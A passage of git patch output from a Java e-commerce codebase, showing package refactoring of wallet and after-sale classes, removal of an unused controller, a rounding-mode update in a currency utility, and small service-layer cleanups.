cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; +import cn.lili.modules.wallet.service.WalletLogService; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.WithdrawalSetting; import cn.lili.modules.system.entity.enums.SettingEnum; @@ -42,7 +42,7 @@ import java.util.Date; /** - * 会员预存款业务层实现 + * 会员余额业务层实现 * * @author pikachu * @since 2020-02-25 14:10:16 diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberWithdrawApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java similarity index 90% rename from framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberWithdrawApplyServiceImpl.java rename to framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java index 425c1401..c13b8183 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberWithdrawApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/MemberWithdrawApplyServiceImpl.java @@ -1,22 +1,22 @@ -package cn.lili.modules.member.serviceimpl; +package cn.lili.modules.wallet.serviceimpl; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.modules.member.entity.dto.MemberWithdrawalMessage; -import cn.lili.modules.member.entity.enums.MemberWithdrawalDestinationEnum; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; -import cn.lili.modules.member.entity.enums.WithdrawStatusEnum; -import cn.lili.modules.member.entity.vo.MemberWalletVO; -import cn.lili.modules.member.entity.vo.MemberWithdrawApplyQueryVO; -import cn.lili.modules.member.mapper.MemberWithdrawApplyMapper; -import cn.lili.modules.member.service.MemberWalletService; -import cn.lili.modules.member.service.MemberWithdrawApplyService; -import cn.lili.modules.order.trade.entity.enums.DepositServiceTypeEnum; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; +import cn.lili.modules.wallet.entity.vo.MemberWalletVO; +import cn.lili.modules.wallet.entity.vo.MemberWithdrawApplyQueryVO; +import cn.lili.modules.wallet.mapper.MemberWithdrawApplyMapper; +import cn.lili.modules.wallet.service.MemberWalletService; +import cn.lili.modules.wallet.service.MemberWithdrawApplyService; +import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.MemberTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/serviceimpl/RechargeServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/order/trade/serviceimpl/RechargeServiceImpl.java rename to framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java index 0c905c44..c50d97e2 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/serviceimpl/RechargeServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/RechargeServiceImpl.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.trade.serviceimpl; +package cn.lili.modules.wallet.serviceimpl; import cn.hutool.core.date.DateTime; import cn.lili.common.enums.ResultCode; @@ -9,13 +9,13 @@ import cn.lili.mybatis.util.PageUtil; import cn.lili.common.utils.SnowFlake; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; -import cn.lili.modules.member.service.MemberWalletService; +import cn.lili.modules.wallet.service.MemberWalletService; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; -import cn.lili.modules.order.trade.entity.dos.Recharge; -import cn.lili.modules.order.trade.entity.enums.DepositServiceTypeEnum; +import cn.lili.modules.wallet.entity.dos.Recharge; +import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import cn.lili.modules.order.trade.entity.vo.RechargeQueryVO; -import cn.lili.modules.order.trade.mapper.RechargeMapper; -import cn.lili.modules.order.trade.service.RechargeService; +import cn.lili.modules.wallet.mapper.RechargeMapper; +import cn.lili.modules.wallet.service.RechargeService; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; @@ -26,7 +26,7 @@ import org.springframework.transaction.annotation.Transactional; import java.util.Date; /** - * 预存款日志业务层实现 + * 预存款业务层实现 * * @author pikachu * @since 2020-02-25 14:10:16 diff --git a/framework/src/main/java/cn/lili/modules/order/trade/serviceimpl/WalletLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java similarity index 88% rename from framework/src/main/java/cn/lili/modules/order/trade/serviceimpl/WalletLogServiceImpl.java rename to framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java index 30f2ea31..1951d1b5 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/serviceimpl/WalletLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wallet/serviceimpl/WalletLogServiceImpl.java @@ -1,12 +1,12 @@ -package cn.lili.modules.order.trade.serviceimpl; +package cn.lili.modules.wallet.serviceimpl; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.trade.entity.dos.WalletLog; +import cn.lili.modules.wallet.entity.dos.WalletLog; import cn.lili.modules.order.trade.entity.vo.DepositQueryVO; -import cn.lili.modules.order.trade.mapper.WalletLogMapper; -import cn.lili.modules.order.trade.service.WalletLogService; +import cn.lili.modules.wallet.mapper.WalletLogMapper; +import cn.lili.modules.wallet.service.WalletLogService; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java index 78a282ed..8fc89b45 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java @@ -2,8 +2,8 @@ package cn.lili.controller.member; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.member.entity.vo.MemberWalletVO; -import cn.lili.modules.member.service.MemberWalletService; +import cn.lili.modules.wallet.entity.vo.MemberWalletVO; +import cn.lili.modules.wallet.service.MemberWalletService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; import io.swagger.annotations.ApiOperation; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java index 3c21d1be..7b372446 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java @@ -4,9 +4,9 @@ package cn.lili.controller.member; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; -import cn.lili.modules.member.entity.vo.MemberWithdrawApplyQueryVO; -import cn.lili.modules.member.service.MemberWithdrawApplyService; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.vo.MemberWithdrawApplyQueryVO; +import cn.lili.modules.wallet.service.MemberWithdrawApplyService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java b/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java index 9bd1d547..1836f0e9 100644 --- a/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java @@ -18,7 +18,7 @@ import cn.lili.modules.permission.entity.vo.AdminUserVO; import cn.lili.modules.permission.service.AdminUserService; import cn.lili.modules.permission.service.DepartmentService; import cn.lili.modules.system.aspect.annotation.DemoSite; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java b/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java index de151751..2812e300 100644 --- a/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsManagerController.java @@ -3,9 +3,9 @@ package cn.lili.controller.statistics; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java b/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java index 7916995f..72c3e1cd 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleManagerController.java @@ -2,10 +2,10 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.order.entity.dos.AfterSale; -import cn.lili.modules.order.order.entity.vo.AfterSaleSearchParams; -import cn.lili.modules.order.order.entity.vo.AfterSaleVO; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleSearchParams; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.system.entity.vo.Traces; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java b/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java index 6e416255..34008297 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/trade/AfterSaleReasonManagerController.java @@ -3,8 +3,8 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.order.entity.dos.AfterSaleReason; -import cn.lili.modules.order.order.service.AfterSaleReasonService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleReason; +import cn.lili.modules.order.aftersale.service.AfterSaleReasonService; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java b/manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java index cac4e44e..ea5939fa 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/trade/RechargeManagerController.java @@ -3,9 +3,9 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.trade.entity.dos.Recharge; +import cn.lili.modules.wallet.entity.dos.Recharge; import cn.lili.modules.order.trade.entity.vo.RechargeQueryVO; -import cn.lili.modules.order.trade.service.RechargeService; +import cn.lili.modules.wallet.service.RechargeService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java index 60afa39f..57157e87 100644 --- a/manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/trade/WalletLogManagerController.java @@ -3,9 +3,9 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.trade.entity.dos.WalletLog; +import cn.lili.modules.wallet.entity.dos.WalletLog; import cn.lili.modules.order.trade.entity.vo.DepositQueryVO; -import cn.lili.modules.order.trade.service.WalletLogService; +import cn.lili.modules.wallet.service.WalletLogService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/seller-api/src/main/java/cn/lili/controller/passport/StorePassportController.java b/seller-api/src/main/java/cn/lili/controller/passport/StorePassportController.java index 531857da..a4cc3a96 100644 --- a/seller-api/src/main/java/cn/lili/controller/passport/StorePassportController.java +++ b/seller-api/src/main/java/cn/lili/controller/passport/StorePassportController.java @@ -8,7 +8,7 @@ import cn.lili.common.security.enums.UserEnums; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java b/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java index 1875ac11..08035c7b 100644 --- a/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/statistics/OrderStatisticsStoreController.java @@ -4,9 +4,9 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; diff --git a/seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java b/seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java index ffff571f..0acdff5b 100644 --- a/seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/trade/AfterSaleStoreController.java @@ -3,10 +3,10 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.order.entity.dos.AfterSale; -import cn.lili.modules.order.order.entity.vo.AfterSaleSearchParams; -import cn.lili.modules.order.order.entity.vo.AfterSaleVO; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleSearchParams; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.system.entity.vo.Traces; import cn.lili.common.security.OperationalJudgment; From 817587522b6590fbe0888e239fa1090510fa5633 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 24 Nov 2021 10:30:34 +0800 Subject: [PATCH 012/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E4=B8=80=E4=B8=AA?= =?UTF-8?q?=E6=97=A0=E6=95=88=E6=8E=A7=E5=88=B6=E5=99=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../member/ServiceNoticeBuyerController.java | 57 ------------------- 1 file changed, 57 deletions(-) delete mode 100644 buyer-api/src/main/java/cn/lili/controller/member/ServiceNoticeBuyerController.java diff --git a/buyer-api/src/main/java/cn/lili/controller/member/ServiceNoticeBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/member/ServiceNoticeBuyerController.java deleted file mode 100644 index 4cb786e7..00000000 --- a/buyer-api/src/main/java/cn/lili/controller/member/ServiceNoticeBuyerController.java +++ /dev/null @@ -1,57 +0,0 @@ -package cn.lili.controller.member; - -import cn.lili.common.enums.ResultUtil; -import cn.lili.common.vo.PageVO; -import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.system.entity.dos.ServiceNotice; -import cn.lili.modules.system.service.ServiceNoticeService; -import cn.lili.mybatis.util.PageUtil; -import com.baomidou.mybatisplus.core.metadata.IPage; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiImplicitParam; -import io.swagger.annotations.ApiOperation; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - - -/** - * 买家端,会员站服务消息接口 - * - * @author Chopper - * @since 2020/11/17 2:31 下午 - */ -@RestController -@RequestMapping("/service/notice") -@Api(tags = "买家端,会员站服务消息接口") -public class ServiceNoticeBuyerController { - - /** - * 服务消息 - */ - @Autowired - private ServiceNoticeService serviceNoticeService; - - @ApiOperation(value = "获取消息详情") - @ApiImplicitParam(name = "id", value = "商品ID", required = true, dataType = "Long", paramType = "path") - @GetMapping(value = "/{id}") - public ResultMessage get(@PathVariable String id) { - ServiceNotice serviceNotice = serviceNoticeService.getById(id); - return ResultUtil.data(serviceNotice); - } - - @ApiOperation(value = "分页获取服务消息") - @GetMapping - @ApiImplicitParam(name = "storeId", value = "商家id,默认为-1,代表平台消息,如果查询某商家发布的消息,传递商家id即可", dataType = "int", paramType = "query") - public ResultMessage> getByPage(PageVO page, String storeId) { - ServiceNotice serviceNotice = new ServiceNotice(); - if (storeId == null) { - storeId = "-1"; - } - serviceNotice.setStoreId(storeId); - IPage data = serviceNoticeService.page(PageUtil.initPage(page)); - return ResultUtil.data(data); - } -} From dc3627421206b0cc50e8501254f6c4ab00f82c8d Mon Sep 17 00:00:00 2001 From: yc_l_zZ_admin <16621622532@163.com> Date: Wed, 24 Nov 2021 14:08:38 +0800 Subject: [PATCH 013/145] =?UTF-8?q?=E6=9B=BF=E6=8D=A2=20BigDecimal.ROUND?= =?UTF-8?q?=5FHALF=5FUP=20=E4=B8=BA=20RoundingMode.HALF=5FUP,=20=E5=87=8F?= =?UTF-8?q?=E5=B0=91=E5=86=97=E4=BD=99=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/common/utils/CurrencyUtil.java | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java index eabf1df9..e0d9ec1a 100644 --- a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java @@ -1,6 +1,7 @@ package cn.lili.common.utils; import java.math.BigDecimal; +import java.math.RoundingMode; /** * 金额计算工具 @@ -30,7 +31,7 @@ public final class CurrencyUtil { public static Double add(double v1, double v2) { BigDecimal b1 = new BigDecimal(v1); BigDecimal b2 = new BigDecimal(v2); - return b1.add(b2).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); + return b1.add(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); } /** @@ -43,7 +44,7 @@ public final class CurrencyUtil { public static double sub(double v1, double v2) { BigDecimal b1 = new BigDecimal(v1); BigDecimal b2 = new BigDecimal(v2); - return b1.subtract(b2).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); + return b1.subtract(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); } /** @@ -56,7 +57,7 @@ public final class CurrencyUtil { public static Double mul(double v1, double v2) { BigDecimal b1 = new BigDecimal(v1); BigDecimal b2 = new BigDecimal(v2); - return b1.multiply(b2).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue(); + return b1.multiply(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); } /** @@ -74,7 +75,7 @@ public final class CurrencyUtil { } BigDecimal b1 = new BigDecimal(v1); BigDecimal b2 = new BigDecimal(v2); - return b1.multiply(b2).setScale(scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + return b1.multiply(b2).setScale(scale, RoundingMode.HALF_UP).doubleValue(); } /** @@ -107,7 +108,7 @@ public final class CurrencyUtil { } BigDecimal b1 = new BigDecimal(v1); BigDecimal b2 = new BigDecimal(v2); - return b1.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + return b1.divide(b2, scale, RoundingMode.HALF_UP).doubleValue(); } /** @@ -124,7 +125,7 @@ public final class CurrencyUtil { } BigDecimal b = new BigDecimal(v); BigDecimal one = new BigDecimal("1"); - return b.divide(one, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + return b.divide(one, scale, RoundingMode.HALF_UP).doubleValue(); } /** @@ -145,7 +146,6 @@ public final class CurrencyUtil { * @return double类型分 */ public static double reversalFen(Double money) { - double price = div(money, 100); - return price; + return div(money, 100); } } \ No newline at end of file From 92d64db0b7df2056a02ce868c106291e68d9c7b7 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 24 Nov 2021 15:44:21 +0800 Subject: [PATCH 014/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E5=88=9B=E5=BB=BA?= =?UTF-8?q?=E5=BA=97=E9=93=BA=E8=87=AA=E5=8A=A8=E5=88=9B=E5=BB=BA=E5=BA=97?= =?UTF-8?q?=E9=93=BA=E6=A5=BC=E5=B1=82=E8=A3=85=E4=BF=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/store/serviceimpl/StoreServiceImpl.java | 7 ------- 1 file changed, 7 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index ff1e0b43..81ddc417 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -72,11 +72,6 @@ public class StoreServiceImpl extends ServiceImpl implements */ @Autowired private StoreDetailService storeDetailService; - /** - * 页面 - */ - @Autowired - private PageDataService pageDataService; /** * 店铺收藏 */ @@ -187,8 +182,6 @@ public class StoreServiceImpl extends ServiceImpl implements } if (passed == 0) { store.setStoreDisable(StoreStatusEnum.OPEN.value()); - //添加店铺页面 - pageDataService.addStorePageData(store.getId()); //修改会员 表示已有店铺 Member member = memberService.getById(store.getMemberId()); member.setHaveStore(true); From a4fb3db3cdef87e59ebb25eef241967d808b0012 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 24 Nov 2021 16:23:27 +0800 Subject: [PATCH 015/145] =?UTF-8?q?=E7=BB=93=E7=AE=97=E4=B8=9A=E5=8A=A1?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E4=BC=98=E5=8C=96=E8=B0=83=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/order/service/StoreFlowService.java | 23 +++++++++++++++++++ .../serviceimpl/StoreFlowServiceImpl.java | 13 +++++++++++ .../store/serviceimpl/BillServiceImpl.java | 6 ++--- 3 files changed, 38 insertions(+), 4 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java index 498fe952..c86a83e8 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java @@ -3,10 +3,17 @@ package cn.lili.modules.order.order.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; +import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; +import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Constants; import com.baomidou.mybatisplus.extension.service.IService; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; import java.util.Date; +import java.util.List; /** * 商家订单流水业务层 @@ -43,4 +50,20 @@ public interface StoreFlowService extends IService { */ IPage getStoreFlow(String storeId, String type, boolean distribution, PageVO pageVO, Date startTime, Date endTime); + /** + * 获取结算单的入账流水 + * + * @param queryWrapper 查询条件 + * @return 入账流水 + */ + List getStoreFlowPayDownloadVO(Wrapper queryWrapper); + + /** + * 获取结算单的退款流水 + * + * @param queryWrapper 查询条件 + * @return 退款流水 + */ + List getStoreFlowRefundDownloadVO(Wrapper queryWrapper); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index e7cd980c..5fa1261d 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -15,7 +15,10 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.payment.entity.RefundLog; import cn.lili.modules.payment.service.RefundLogService; +import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; +import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; import cn.lili.mybatis.util.PageUtil; +import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -167,4 +170,14 @@ public class StoreFlowServiceImpl extends ServiceImpl getStoreFlowPayDownloadVO(Wrapper queryWrapper) { + return baseMapper.getStoreFlowPayDownloadVO(queryWrapper); + } + + @Override + public List getStoreFlowRefundDownloadVO(Wrapper queryWrapper) { + return baseMapper.getStoreFlowRefundDownloadVO(queryWrapper); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index d25ae1e8..10d05ae2 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -66,8 +66,6 @@ public class BillServiceImpl extends ServiceImpl implements Bi */ @Autowired private StoreFlowService storeFlowService; - @Resource - private StoreFlowMapper storeFlowMapper; @Override public void createBill(String storeId, Date startTime, DateTime endTime) { @@ -256,7 +254,7 @@ public class BillServiceImpl extends ServiceImpl implements Bi lambdaQueryWrapper.eq(StoreFlow::getStoreId, bill.getStoreId()); lambdaQueryWrapper.between(StoreFlow::getCreateTime, bill.getStartTime(), bill.getCreateTime()); lambdaQueryWrapper.eq(StoreFlow::getFlowType, FlowTypeEnum.PAY.name()); - List storeFlowList = storeFlowMapper.getStoreFlowPayDownloadVO(lambdaQueryWrapper); + List storeFlowList = storeFlowService.getStoreFlowPayDownloadVO(lambdaQueryWrapper); writer.write(storeFlowList, true); writer.setSheet("退款订单"); @@ -288,7 +286,7 @@ public class BillServiceImpl extends ServiceImpl implements Bi storeFlowlambdaQueryWrapper.eq(StoreFlow::getStoreId, bill.getStoreId()); storeFlowlambdaQueryWrapper.between(StoreFlow::getCreateTime, bill.getStartTime(), bill.getCreateTime()); storeFlowlambdaQueryWrapper.eq(StoreFlow::getFlowType, FlowTypeEnum.PAY.name()); - List storeFlowRefundDownloadVOList = storeFlowMapper.getStoreFlowRefundDownloadVO(storeFlowlambdaQueryWrapper); + List storeFlowRefundDownloadVOList = storeFlowService.getStoreFlowRefundDownloadVO(storeFlowlambdaQueryWrapper); writer.write(storeFlowRefundDownloadVOList, true); ServletOutputStream out = null; From 5dd1c952940c8ecc77d82ce06abf27fbe0115b0e Mon Sep 17 00:00:00 2001 From: lifenlong Date: Thu, 25 Nov 2021 11:09:55 +0800 Subject: 